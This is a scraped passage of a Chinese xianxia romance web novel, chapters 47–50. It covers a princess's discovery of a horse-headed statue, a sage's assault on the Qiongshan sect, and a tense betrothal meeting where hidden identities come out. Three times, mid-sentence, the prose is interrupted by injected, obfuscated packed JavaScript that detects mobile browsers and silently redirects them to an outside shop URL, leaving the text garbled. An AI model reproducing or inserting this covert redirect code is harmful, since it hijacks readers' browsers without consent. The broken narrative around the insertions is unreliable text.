苏晴沄缓步走到近前,目不转睛地盯着神冠,心中忍不住有些失望。确实,它不是法器,也蕴含着厚重的灵力。那灵力比前六层所有遗物的灵力加总还要充沛,但远不及额吉娜的石块。 额吉娜的石块究竟是不是法器?卢严的地图究竟藏着什么宝贝?看过这么多地母遗物之后,她依然找不到答案。 但转念一想,这重要吗?额吉娜的石块是不是法器,她都不需要;地图标记的是不是地珠,她也没有用。她既不想成为天下第一,也不想统治世界,归根结底,只是对额吉娜和地珠好奇而已。 看过这么多地母遗物,她对额吉娜的了解已经增加了许多,甚至还知道额吉娜会造洗衣机,这不是挺好的吗? 看着面前的地母神冠,她又想起了柳城壁画上那个头插羽毛的地母形象。齐鹤扬说图克部落崇拜凤凰,或许还真是。 也不知那家伙在干吗?是不是被他们掌门缠住了?回头得传讯问问。 苏晴沄唇角露出一抹浅笑,扭头一看,愕然发现大祭司不知何时在旁边跪拜上了……她只好静静等着大祭司叩拜完毕才行礼说道:“今日多谢大祭司了。” “殿下这就要走了吗?”大祭司一边走向地母神冠一边说道,“本座想展示给殿下的地母遗物,殿下还未看到呢。” “可我已经……”等等,难道大祭司要让她看的不是地母神冠? 苏晴沄迅速环视了房间一圈,没看到其他东西啊?疑惑间,她看到了大祭司缓缓伸出了右手,食指上一枚不起眼的青玉戒指显现出来,圆形的戒面上刻着奇特的浮雕花纹。 一瞬间,她注意到了托放地母神冠的那个圆柱。圆柱中央有一个小小的圆形凹槽,凹槽内刻着的阴文与大祭司戒面上的浮雕花纹一模一样! 大祭司探出右手,将戒面插进了圆柱上的凹槽,戒面上的浮雕花纹嵌入凹槽中的阴文,刹那间灵光四射,圆柱中央现出了一个暗格。 看到暗格中摆放的物品,苏晴沄心底掀起惊涛骇浪。 那是一个高不过一尺的小小石像,石像上蕴藏的灵力昭示着它是一件非法器的地母遗物,而这件地母遗物中蕴含的灵力之强远胜被称为镇教之宝的地母神冠,足以与额吉娜的石块媲美。 但令她震惊的并不是那石像上蕴含的强大灵力,而是那石像的模样。虽然经过岁月的洗礼,石像已经有些破损,但依然能够清晰的看出那是一个马首、狮身、生着鹰翅的生物,猛然看去就像是——魔神像! 48. 不知所起 回宫路上,大祭司最后的话一直在苏晴沄脑中翻滚。 秘藏于金铃塔七层的马首石像是和地母神冠一起被发现的,虽然用途不明,但根据其蕴含的灵力可以判断石像与地母额吉娜的联系颇深,教中甚至有人认为其地位应当高于地母神冠。 而且圣母教有一个传说,万年前地母回归神界后曾以马首、狮身、鹰翅的形象向子民降下神谕。因为圣母教信仰地母来自神界,故此教中有人认定这石像所刻便是地母在神界的形态。由于当年的圣母教微不足道、信徒寥寥,所以这个传说一直没有流传开。 偏偏三百年前逢尤之乱、天神教大肆宣扬魔神,待到大景建国、圣母教兴起,魔神形象已经在世人心中根深蒂固,彼时再将马首石像拿出来必将引发骚乱,只得将其封存起来。时至今日,地母曾以这般形态降谕世人的传说也就只剩下少数圣母教高层才知道了。 既然魔神已经被穹山封印在无尽深渊,那么其马首、狮身、熊齿、虎爪、犀角、鹰翅、蛇尾的形态就是确定无疑的。而马首石像中蕴含的地母灵力是她亲眼所见,所以石像是地母遗物也是确定无疑的。 那么二者为何如此相似? 按圣母教中少数派的猜测,马首石像是地母从神界带来的,因此蕴含的灵力才超过了地母神冠。如果真是这样,那地母为什么要把马首石像带到人间?不忘初心么? 假若马首石像是地母的神界形态,那魔神呢?难道他跟地母一样来自神界,所以形态相仿?那么天神教宣扬的魔神是真神,岂不就是真话了? 想到这里,苏晴沄不禁打了个冷颤。以她的唯物主义信仰推测,那就是这个世界存在外星人,地母和魔神是外星人中的两个派别,一个想跟人类交朋友,一个想消灭人类。 思索间元城皇宫已在眼前,她揉了揉眉心,取出传讯符给“齐鹤扬”发了条信息,询问他在穹山的事情办完没有,然后缓缓落下。 她想着先将浮云山见闻告知爹娘再说,便直接落在了皇宫大殿之前,谁知被守门宫人告知有客拜见,此时景王、景后都在王后宫中。 爹娘一起见客必定是重量级人物,而且还是在王后宫中,苏晴沄能想到的答案只有一个,“是本宫的舅爷来了?” “回禀公主,不是国舅大人。” “那怎么去了王后宫中?”她在这个世界还有其他亲戚吗? “回禀公主,那外客是来求见王后的。” “你不是说陛下也在那边吗?” “回禀公主,陛下确实在王后宫中。” 见那宫人眼神闪烁、语焉不详,苏晴沄微微蹙起了眉头,该不会是有什么麻烦吧?“来客是谁?” 这次宫人回答的很干脆:“回禀公主,是翠屏山掌门夫人刘氏携女拜见。” 苏晴沄怔了一下,转而双眼射出八卦之光,翠屏山掌门之女不就是那个齐鹤扬的倒霉未婚妻云芯蕾吗!当即大袖一挥将宫人撂下不管,直奔母亲寝宫而去。 一进宫门,她就听见了嘤嘤嘤的哭声,守在殿外的宫人看到她都深深低下头去。 正要找个宫人询问,就听到殿内哭声的背景下传出了一个尖锐的女声,气势颇为高亢:“贵国公主化神之尊竟也惨遭退婚,那穹山实在是太过目中无人!” 呵!这是来借刀杀人了啊! 她扫视一圈将头埋得更深的宫人,怎么没看见皇帝老爹?难道是娘亲扛不住,老爹跑进去救场了? 殿内那高亢的声音还在继续:“我们翠屏山不过千人宗门、势单力薄,被人欺辱也只能隐忍不发。可他穹山居然连天下第一强国的大景也不放在眼里,实在令人义愤填膺!如此虎狼之威、目中无人,妄为仙门之首!若贵国不弃,我们翠屏山愿意举宗迁徙景地,从此与穹山一刀两断!” 嚯!这是翠屏山是真急了啊,为了抢女婿连仙门都不混了,打算投诚他们景国呢! 她轻声走到一个小宫女身边,低声问道:“陛下呢?” 那小宫女扭头看了看正殿后方,又伸手指了一下。 苏晴沄顿时嘴角一抽,原来老爹跟自己一样,是跑来看戏的。这会儿殿内没了声音,想必是景后在温言安抚,她趁机绕到殿后,果然看见景王正站在墙根下对着一道窗户缝探头探脑。 她走过去拍了下景王的肩膀,一国之君浑身一颤,随即回头看来,见果然是自己闺女回来了便比划了个禁声的手势,指了指里面。 苏晴沄本想开个化神结界大大方方看,但见老爹这幅模样又觉得有趣,立时间童心大起,也配合着国主爹压低了声音说道:“来忽悠咱们出头的?” 景王点了点头,一脸胸有成竹道:“放心,你娘不会答应的。” “怎么是娘儿俩来的?翠屏山掌门呢?” “估计是不想声张。” 不想声张?苏晴沄有些不明所以,这事儿已经天下皆知了,还有什么不好声张的。但想想又明白过来,掌门亲自来就变成公对公了,万一事情没成就断了退路。 也不知景后在里面说了些什么,云芯蕾的哭声突然间变得猛烈,一时间撕心裂肺。 苏晴沄伸了伸脖子,无奈老爹将窗户缝挡了个严严实实,什么都看不见。正好奇,就听见一个娇柔哀怨的声音从里面传了出来。 “娘!不要再在这里丢人了,就让女儿回去一条白绫吊死,岂不是一了百了!” 随后,高亢的女声再度响起:“蕾儿不哭,有娘在!既然景公主不觉丢人现眼,情愿忍了穹山的羞辱,那娘便自己上穹山!就算拼了这条老命也要让西九岭把人给交出来!” 靠!躺着也中枪啊?苏晴沄心中愤愤,西九岭退婚是他性取向问题,怎么就成我丢人现眼了?你想讨姑爷你自己去啊,借不到刀就出口伤人是不是有点过分了?! 正在腹诽,就见背对着自己的老爹双拳紧握,隐隐有灵力流转之象。她连忙跨出一步拍了拍老爹的肩膀,“爹,别跟翠屏山计较,我没事儿的。” 景王回头看她,呼之欲出的灵力瞬间退了下去,“沄儿大度,可那对母女实在可恶!”说着,他扭头狠狠朝窗户缝瞪了一眼,“要不是那个云芯蕾确实有点儿惨,爹这会儿就去把她们母女打出元城!” 苏晴沄觉得新郎被抢确实有点儿倒霉,但宗门间政治联姻也谈不上什么感情,没必要闹得一哭二闹三上吊,“要我说,这云芯蕾就是想不开。不就是个未婚夫吗,没了换一个呗,干吗非要在一棵树上吊死?” “嘿嘿,”听她这么说,景王笑得有些幸灾乐祸,“他们倒是想换,可惜换夫君容易,换爹难啊。” 她不解地眨眨眼,“换什么爹?翠屏山掌门吗?” 景王笑着让开窗户,朝里面努了努嘴、示意她自己看。 苏晴沄好奇地走上去,趴在窗户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305595|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前透过缝隙向内看去。 只见景后对面坐着一长一少两个女子。年少那个眉如柳叶、目含秋泉,一张鹅蛋脸略显苍白,显然是为了卖惨未施脂粉,但即便如此也无法掩饰她的美貌,那是典型的仙子模样,婉约如瑶池琼花,娴静若月宫桂树。 视线向下稍移,便看到了一双葱葱玉手,那玉手正温柔地抚在微微隆起的小腹之上……微微隆起! 一瞬间,苏晴沄脑中轰然一声——云芯蕾怀孕了!这不是政治联姻! 抢亲之事不过一个多月,可看她这肚子已经有些月份。虽然不太清楚怀孕多久才开始显肚子,但可以肯定不是两三个月的事,这是奉子成婚啊! 霎时间,“齐鹤扬”说过的话如走马灯般划过脑海。 他说他与西九岭只是同门之谊,他说他对西九岭确实无情……原来他说的都是真的,他喜欢的是女人,是云芯蕾! 不知为何,苏晴沄觉得心头一阵发闷。那个在陋棚中跟自己一起仰望星空的人,那个跟自己一样直呼地母名字的人,那个在自己想吃馄饨时说“我带你去”的人,原来是喜欢女人的!而那个女人却不是她…… “沄儿?沄儿?嗳,怎么还掉眼泪了?你讨厌翠屏山的人,为父立刻赶他们走!” 她想回头说一句“爹,我没事”,可脖子却仿佛僵住了一般,怎么也无法转动。 ————————东西境分割线———————— 西九岭缓缓睁开眼,衣襟已经被汗水浸透。他服下一粒丹药入定凝神,最近使用梦见过于频繁,即便化神之躯也难以承受窥天之术,终究还是伤了神脉。 一炷香的功夫后,他缓缓睁开眼,回想方才的梦见。 乌云遮日、山崩地裂、浓烟烈火,魔神踩着尸体向天咆哮。天空中一道白光飞驰而来,白光中一女子拔剑出鞘,那剑身通体晶莹,五色流光华美绝伦…… 女子的面孔看不清晰,但那柄剑却举世闻名、断然不会认错,那是景公主苏晴沄的琉光剑。 而他此次使用梦见术所问的是——如何杀死魔神! 此刻的西九岭内心喜忧参半。喜的是真的可以杀死魔神,忧的是能杀死魔神的人似乎是景公主。 在听到酒夕对唐昊的评论后他就决定要表白自己的心意。但他是知道要入阵在前,决定要表白在后,这与唐昊的情况又有不同。告白的同时将所有问题丢给对方,这么厚颜无耻的事情他实在做不出来,至少也该拿出个有可能的解决方案才行。 于是他冒着神脉受损的危险再次使用了梦见术,却不料得到的答案竟然是景公主,那个刚刚被自己退婚的新晋化神……哎,果然出来混迟早是要还的,这次得亲自跑一趟元城了。 起身前,他察觉袖中有传讯符一直闪烁,于是取出来看了一眼,然后便勾起了唇角——是酒夕。 “今天看到了不错的风景,下次带你一起。” “在地母庙遇到个墨守成规的叩拜狂,太可怕了!” “我这里终于忙完了,你那边如何?” 看来他闭关七日,这姑娘也没闲着。不知道跟景公主谈判能否顺利,他是回复一天完事好呢,还是两天完事好呢? 犹豫间,门外传来了廖辰焦急的声音:“掌门,你出关了吗?画圣把咱们山门给推了,这会儿已经朝这边来了,说要为他外孙女讨回公道呢!” !!! 49. 赔个驸马 钟鸣穹山,长久不息。 练武场、藏经阁、讲堂、丹房、器室,各处门人纷纷放下手中事务走出房门仰面观瞧。 只见碧空上风起云涌,画圣文洛川一身布衣、身背画箱、踏着草鞋腾于云上,手中灵笔肆意挥舞间便有无数石块绘出。 墨石一经画出便如真石般裹挟着风声从天而降,一时间仿若天降石雨。树木花草被打得七零八落,石铺路面被砸得分崩离析,飞檐斗拱也难逃遭殃,碎瓦断木落得满地。不仅如此,那些墨石击损物品的同时自己也会爆裂、化为一片墨迹泼洒四周,转瞬间穹山上下黑污满地、一片狼藉。 见此情景,众门人纷纷出手阻挡墨石,但施展法术的速度赶不上文洛川手中的画笔,众人只能拔剑挥斩墨石,然后被溅一身黑墨。一个个黑脸脏袍、狼狈不堪。 齐远山仰面瞪着文洛川的草鞋,怒不可遏却无计可施。穹山自古便是仙门之首、清净之地,何曾受过这般侮辱?! 就在这时,后山一处忽现金光万丈,齐远山心中大喜——剑圣师叔出关了! 文洛川自然也看到了那道金光,他冷笑一声,手中画笔一转,一头白额猛虎渐渐在空中成形,随着画笔收尾猛蹿出去、扑向了迎面而来的剑光。 西九岭赶到时看见的就是这一幕,他不及多想,抬手开出一道水幕屏障将两位神仙战场下方的地面罩住。 几乎是同时,墨色猛虎与剑气撞在一处,灵光爆裂如山崩之势,灵力碎片落在水幕屏障之上溅起无数涟漪,看得下方一众弟子瞠目结舌,要不是掌门及时赶到,他们只怕已经成了遭殃的小鬼。 西九岭待要腾空与画圣对谈,抬头却见文洛川不知何时已经换了颜色、画出了一头金色猛虎。而剑圣壬无情也已经飞将而至,灵剑绝世直刺文洛川。 他只觉一个头两个大。文洛川是出了名的古怪脾气,壬无情更是凡事不管只管拔剑,今日要是拦不住这两位神仙,只怕无需天神教作妖,这万年仙门就要毁于一旦了。 随后追上来的廖晨冲着各处弟子大喊着:“结阵!结阵!” 齐远山也被那两位神仙的一个回合惊醒过来,这剑圣师叔哪里是来救场的?这分明是要拆家! 他赶忙招呼身边弟子结起防御阵法,自己则冲着廖辰说了一句:“我去无尽深渊。”然后便御剑离去。 见画、剑二圣再度交上手,西九岭知道此时说话已是无用。 如今他跟壬无情联手压制文洛川是最快的办法,可一来退婚之事毕竟是他毁约在先,二来画圣又是酒夕的老板,不管是为了请景公主联手消灭魔神,还是为了能与酒夕携手白头,他都不便对画圣出手。 思索间,壬无情已与那金色猛虎缠斗了十几个回合。期间画圣的笔也没有停过,一会儿给猛虎加上个犄角,一会儿给猛虎加上双翅膀,一会儿又给猛虎添上盔甲。每加一笔,那金色猛虎便强上一分,连天下最强灵剑绝世也讨不到半分便宜。 在画圣为那猛虎加上一条蝎尾后,猛虎的体型骤然膨胀数倍,周身灵力陡然上升了一个阶梯,仿佛是在不断积累中进阶一般、霎时间气势直逼化神。 对面的壬无情不但没有退缩,反而双眼放光。他凝神聚气,双手飞速掐诀,片刻间绝世剑在空中增长数倍,大小与那猛虎旗鼓相当,剑身上蹦出无数金光,如雷电般劈啪作响。 西九岭暗叫一声不好。 壬师叔的脾气他很清楚,面对初次交手的敌人会觉得新鲜,一开始不出全力、给对方机会发挥,但如果遇上强敌,很快就会被激起胜负欲直接下杀招。剑圣号称天下第一战力绝对不是欺世盗名,若让他出了此招便是穹山主峰都要被削平了。 此时也顾不上许多,西九岭右足向地面一跺,高喊道:“印起!剑来!” 天空中风云突起,后山掌门洞府上一道金光暴起,一柄苍茫古朴的石剑裹挟着金光飞将而来,剑身上天剑二字金光流转。与此同时,一枚灰白色的方形石印自他袍袖中飞出,霎时间在空中长成水缸般大小、金光四射,印文上两个大字古朴厚重——穹山。 穹山门人见印升空一个个仰面向天持剑礼,穹山印出莫敢不从! 壬无情双目紧盯着对面的敌人,难得送上门来的化神对手,怎能不痛痛快快打上一场?他迅速结完手印,灵力汇聚右掌,伸手向前一抓、一握、一推,做出一个刺剑的动作。前方绝世剑随着他的动作发出嗡嗡金鸣,如长虹贯日般猛然刺出。 文洛川更是不管什么天剑和穹山印,见敌人蓄势待发便又在那猛虎身上画出一副龙鳞,霎时间虎啸龙吟分辨不清,笔落法成,全副武装的猛虎张开血盆大口向前扑去。 西九岭脚下地面陡然拔高,直将他托起与画、剑二圣齐平。右手天剑剑尖抵在猛虎牙前,左手穹山印挡住绝世剑尖,穹山十三峰在他脚下齐齐震动,轰响声万里不绝。 他是穹山掌门,穹山是他的绝对领域! 壬无情见被穹山印挡住,无可奈何。他的绝世剑和穹山印一样皆出自穹山初代掌门灵诀子之手,虽然绝世杀机天成、雄居天下灵剑之首,但穹山印却是掌门礼器、号令群山,在穹山境内便是最强法宝。而且他也是穹山门人、当尊掌门号令,穹山印出莫敢不从。 文洛川眯眼看着壬无情收回了绝世,又看了看那抵在猛虎身前的石剑。材料不过是寻常穹山石,打磨也不够锋利,剑身上的刻字毫无美感,这就是穹山掌门代代相传的天剑?实在看不出哪里好,可偏偏能压制他笔下的神虎。 而且他能感受到此时此地传来的强大威压,西九岭这小子的绝对领域也太具压迫性了,不知道是不是因为有天剑和穹山印的加持。 心知再难讨到便宜,他下巴上的山羊胡抖了抖,一摆手收了画笔,身前的金色猛虎瞬间消失的无影无踪。索性已经拆了人家大门,还把院子里搞得乱七八糟,算是出了些气。 西九岭见两位化神都收了法力,也将天剑与穹山印收起,向着壬无情微微点了下头示意他稍安勿躁,然后转身向文洛川行了一礼,说道:“前辈与穹山怕是有所误会……” “哼!”文洛川一甩袖子打断了他,“没什么误会,老子就是来踢山门的!” 嗡嗡嗡……西九岭耳听得身后发出绝世剑的金鸣、一阵头疼,“此处不便言语,还请前辈移步殿内。” “有什么不便的?你退婚失信,不想当众承认是吧?” 这话该怎么答?前半句没错,后半句不对,这画圣该不会是个诡辩高手吧? “退婚之事事出有因,穹山已昭告天下,并无欺瞒。” “事出有因?你是说要修无情道吗?我呸!糊弄不懂事的娃娃还行,老子可不信化神之道还能中途更改的!” 西九岭心底暗暗叫苦,他当初是怎么想出这个糟心借口的?简直是分分钟自行打脸,而且对面这位还没法搪塞,因为他打脸要追的就是这位的侍女,该用什么姿势打脸才能不连累酒夕呢? 一边的壬无情压不住火了,“本尊的师侄修什么道干你屁事!能谈就谈,不谈就打!”嗡嗡嗡…… “打就打,穹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333852|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山算个屁!”文洛川一吹胡子,双眼圆睁,“敢欺负我外孙女,十个穹山老子也打得!” 西九岭连忙伸手拉住师叔,脑袋被绝世剑嗡的直疼,一个炮仗就算了,旁边还有个点火的,这谁受得了? 就在这时,廖辰飞身而来,满脸堆笑地向画圣行了个礼,说道:“晚辈廖辰见过画圣前辈。” 文洛川不屑道:“你是什么东西?” 廖辰辅助了西九岭二百年,这种事情见惯不怪,此时就当自己聋了,继续道:“前辈所言退婚一事,穹山之前已经向景公主赔礼,景公主虚怀若谷、宽容大度、一碧万顷、天人气度,当即便同意了。” 西九岭暗暗竖起大拇指,一瞬间能找出这么多词拍马屁,不愧是师父为我推荐的帮手。 谁知文洛川根本不买账,哼了一声道:“老子外孙女宽宏大度、不跟你们计较,可老子小肚鸡肠,就要跟你们讨个公道。” 廖辰一听这位化神能说自己小肚鸡肠,知道讲理是没用了,试探道:“那您觉得今天踢飞的白玉山门、砸碎的宗门大道、弄坏的飞檐斗拱能不能将这笔账抹平呢?” 文洛川一仰头,“这些东西哪里比得上我外孙女的面子?不行!” 廖辰偷眼瞧向西九岭,接下来是软是硬就看你啦。 没想到西九岭还没说话,壬无情开口了:“想要什么直接说,能给就给,不能给就打,哪里这么多废话?”嗡嗡嗡……送上门来的化神对手,赶紧让他大战三百回合! 文洛川看了看他,嗤笑一声,“退了一个化神驸马,自然要赔一个化神驸马才算了事!” 廖辰眼都直了,这老头儿真敢说啊!天下化神总共九个,一个魔修、一个和尚、一个在缚魔阵里、一个西九岭已经退婚、一个冰帝是女的、一个你是景公主亲戚,景公主自己还占了一个,掐指一算只剩两人,这可比凤毛麟角少多了。 壬无情听到这个条件心中大喜,扭头问西九岭:“师侄怎么说?不赔就打!”嗡嗡嗡…… 西九岭心里翻了个白眼,你就是想打呗?但问题是现在的情况很复杂啊……他给廖辰使了个眼色,然后向着文洛川告了个欠,开出一个结界将自己人罩住,把自己刚刚的梦见说了一遍。 廖辰听罢双眼圆睁,杀死魔神的关键居然是被他们退婚的景公主? 壬无情则是皱起眉头,难道景公主这么厉害,自己的神之一剑还没炼成,魔神就被她杀了? 西九岭看出他的心思,说道:“师叔亦不可懈怠,梦见只能说明景公主是杀死魔神的关键所在,并不意味着魔神就是被她杀死,或许她只是一个必要条件也未可知。” 壬无情松开眉头、点了点头,“明白了,要想杀死魔神就必须跟景公主联手,对吧?” 廖辰回头看了眼文洛川,叹道:“要想跟那位公主和解,只怕不容易啊。” 壬无情道:“有什么难的?他不是要化神驸马么,赔他一个便是。” 廖辰心道这位可真是两耳不闻窗外事,一心只修手中剑啊,“当今天下化神便只有琼岛渔翁丰泧和师叔您才附和化神驸马的条件了,咱们跟琼岛只是泛泛之交……” “本尊在此,何必舍近求远?” 西九岭和廖辰都有些惊讶地看向壬无情,这位修的可真是无情道啊,难道还能结道侣不成? 壬无情一脸事不关己道:“无关道心的名头而已,本尊顶了便是。” 西九岭嘴角一抽,感情这位是打算来个有名无实,如此一来是不是把景公主坑得更惨了…… 50. 摘马甲(上) 春雨初停,被水润过的天空青得温柔,翠绿枝头间的花朵坠着点点晶莹、分外娇艳,彩虹从宫墙上划出一道弧线落至角楼屋脊,两只黄莺穿过七色拱桥啼啼而上。云开日出下,宫墙内落英缤纷、旖旎春光。 苏晴沄倚在窗边看着两个宫人在院中有说有笑地修剪花枝,感觉此时此刻似乎只有自己无法融入这片春光。就仿佛是在前世看一场电影,如论自己心中如何悲喜,屏幕上的世界都依然继续。 云芯蕾母女走后她就一直沉浸在一种难以言表的情绪中。 景王、景后问起,她就把马首石像的事情说了,声称自己是在忧心此事。爹娘应该是看出了她不想说,之后也没再问,只是不断派人送来有趣玩物和珍馐美味。 其实她也不是不想说,只是自己也没想明白为何会这般难受。之前以为“齐鹤扬”是断袖的时候,自己还曾暗暗惋惜他不接受西九岭的苦恋,为什么现在不能接受他喜欢云芯蕾呢? 她是喜欢“齐鹤扬”,还是不想输给云芯蕾? 一阵风吹过,院中的梨树洒下雪白的花瓣,两个宫人撩起衣摆去接,脸上的笑意在花雨中模糊不清。 她想起他们一起困在窝棚里看月光的时候,他说‘这么美该有壶酒’;她想起在柳城想吃馄饨的时候,他说‘我带你去’;她想起中了碎骨符的时候,他毫不犹豫塞给她的生筋复骨丹;她想起在黎村冒天下之大不韪维护魔修神医时,他站在自己身边。 他可以跟她一起直呼地母的名号,也可以被她拿穷山美人这种事情取笑,送她丹药和灵符的时候从没皱过眉头。 回忆了这么多,恍然发现她跟他已经走过了许多路、见过了许多人、做过了许多事,原来从来到这个世界开始,他就陪在她身边了,而她从来没有觉得多了一个人。 喜欢,究竟是什么呢? 前世父母早亡,她一边学习一边帮奶奶做家务,上了大学就开始兼职,结果奶奶还没看到她用第一份工资买来的礼物就为了救邻居家的孩子出了意外。 她在殡仪馆里给奶奶磕头的时候就下定了决心,这辈子再也不要体会所爱之人意外离世的痛苦,这辈子——一个人就好。 可此时的她却觉得一个人很孤单,这就是喜欢吗? 有些事情就是这样,似乎想明白了,又似乎还没明白,不知道是真不明白,还是不想明白,总之最后就是不想去想了。 就在她准备起身溜去御厨煮碗馄饨的时候,景后带着一堆宫女端着朝服、托着钗环,浩浩荡荡跨入了门槛。 “快!快给公主更衣!”景后进屋先下了命令,然后大步流星走到女儿身边,掰过她的肩头看了一眼,“怎么妆都没化?” 埋怨完,就招呼侍女给公主梳妆。 这一世的娘亲突然出现,冲淡了苏晴沄想吃馄饨的念头,可眼前这阵仗……“娘,这是要干吗?” “你舅爷来啦!” “那也不用换朝服吧?” 景后抿了下嘴,神情中有些不快,“没办法啊,你舅爷把穹山掌门和剑圣也带来了。” 啊?这是个什么组合?“舅爷怎么会和穹山的人一起?西九岭和壬无情来咱们这儿做什么?” 一瞬间她突然想到了魔神,“齐鹤扬”说缚魔阵如今不稳,除了掌门和齐长老,其他人都不能进入。穹山两个化神跑来,该不会是缚魔阵出变故了吧? 等等,好像有哪里不对……是哪里不对? “娘怎么知道!”景后开口打断了她的思路,“你舅爷说要叫你,娘就来找你了啊。你爹在前面呢,有消息他会让人递进来的。” 似乎是为了验证景后的正确性,在她这句话落下之后不久就有一个宫人快步走进来汇报道:“陛下说让公主装扮隆重些,国舅爷让穹山给公主赔了一个化神驸马。” 啥?苏晴沄听完就傻了,化神驸马是个什么鬼?好不容易被退婚了,为什么又让她收驸马! 景后听完也一阵发懵,喃喃道:“西九岭退了婚,玉玦入了缚魔阵,穹山化神就只剩下剑圣了……这是要把剑圣给咱们做驸马啊!” 说完她似乎想到了什么,冲着一堆侍女喊道:“快!快!一定要打扮的隆重些!”这是要去跟剑圣相亲啊! 苏晴沄被她这一声吆喝惊醒过来,急忙发表自己的意见:“娘!我不想成亲!” “你不想?剑圣壬无情可是天下战力第一啊!” “那又怎样,我也是化神,能比他弱多少?” 景后一怔,说得有道理啊。不过剑圣这样的女婿毕竟难得,她还是得问清楚些:“刚才娘看过剑圣了,相貌堂堂、不输西九岭的。” 苏晴沄一瞬间想到画摊上那些西九岭的画像,嘴角抽了一下,“好看又不能当饭吃。” “你真不想成亲?” “不想。”苏晴沄微扬下巴坚决地看着娘亲,心里却有些打鼓。听宫人汇报的意思,这驸马是被舅爷强拉来的,他们这边开口拒绝是不是有些麻烦? 没想到景后丝毫没有为难之意,反而是喜笑颜开道:“那更好了!这次我儿就堂堂正正走出去,让他们提亲,然后当面拒绝他们!哈哈哈哈!” 娘,我觉得你这念头有那么一点点邪恶…… 不过那个西九岭确实可恨,要不是他跑去抢亲,自己到济水的时候“齐鹤扬”该在度蜜月才对,哪有现在这一堆糟心事! “好!那您别让他们给我装扮了,我就这么出去,从形式上蔑视穹山!” 一场会面四个化神,景王自然不好坐在殿上,于是在偏殿摆了长桌和座椅。 苏晴沄来到偏殿前就看到舅爷大咧咧坐在朝门一侧的上手,自己的老爹紧挨着正襟危坐,一副晚辈乖巧的模样。背门一侧则有三把座椅,上手位置的背影还有些眼熟。 不是说舅爷带了穹山掌门和剑圣来吗?怎么还多出一个人? 文洛川正跟身边的景王挑剔茶杯上的釉色,余光看到苏晴沄走来,立刻不顾礼仪地站了起来,伸手招呼道:“沄儿快来,坐舅爷旁边。”说完还拍了拍景王座椅的靠背。 景王弱弱地看了他一眼,默默起身向旁边挪了一个位置。 苏晴沄顶着一头黑线走过去坐到了老爹腾出的那张座椅上,然后抬头看向对面,头上的黑线就变成了懵圈。 为什么穹山那边坐在上手的是“齐鹤扬”?三个人是因为西九岭把齐鹤扬也带来了??? 一瞬间,云芯蕾的模样浮现在眼前,她也顾不上自己马甲掉了,压下心头纷乱的情绪将视线转向了旁边。 中间配绝世剑的显然是剑圣,所以坐在下手这个是西九岭?这跟画摊上那堆画像差太远了吧?而且虽然也算是面貌清隽、仪表堂堂,但怎么看都是温润有余、锋利不足,跟济水城外那界碑上的剑气不太匹配啊? 虽然心中疑惑,但一想到这姓西的没事儿抢亲搞出一堆烂摊子,她心底的怒火就开始往上窜。 你自己想弯就弯,干吗非要把人家直的掰弯?!要不是你抢亲,我怎么可能跟“齐鹤扬”在济水相逢,又怎么会莫名其妙喜欢上有妇之夫?!她越想越气,恨不得把眼前这个“西九岭”给扒皮抽筋! 廖辰被她瞪得直发毛,心里不明白自己是怎么得罪这位姑奶奶了。退婚的是西九岭,传话的是齐远山,景公主一个劲儿瞪着我干吗?我今儿就是来当个小文书而已啊。 文洛川心中大乐,外孙女果然是忍着一口气的。看看!看看!还得是我这个舅爷出门给孩子撑腰! 他山羊胡朝着西九岭一扬,“姓西的,你是不是先给我外孙女赔个礼啊?” 西九岭双眼直直盯着苏晴沄、如遭雷击,此时他心里只不断重复着一个念头:景公主,她是景公主! 刹那间许多细节涌了上来。她敢直呼地母的名讳,她说大景律当修,她为自己挡下了碎骨符,她跟了空谈笑风生,她对冰帝不卑不亢……那不是画圣侍女能做到的,那是大景公主的气魄! 此时听到文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352696|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛川的话,他还有些发懵。 赔礼?对了,他把跟景公主的婚约退了……退了……他把对面这个人,把这个自己想求为道侣的人的婚约——给退了! 苏晴沄的视线缓缓转了过来,眼中还有些疑惑,“西九岭?”舅爷是在叫“齐鹤扬”吗? 西九岭只觉得半截身子都凉了,他还没跟苏晴沄说明自己的真实身份。虽然苏晴沄也隐瞒了身份,但那并没有什么影响。相比之下……全天下都在传齐鹤扬抢了景公主的未婚夫,他就偏偏假扮了齐鹤扬!他当初究竟是怎么想的! 苏晴沄在“齐鹤扬”的眼中看到了比惊讶多出百倍的情绪,懊恼、愧疚、胆怯……那显然不该是发现“酒夕”真正身份的反应。 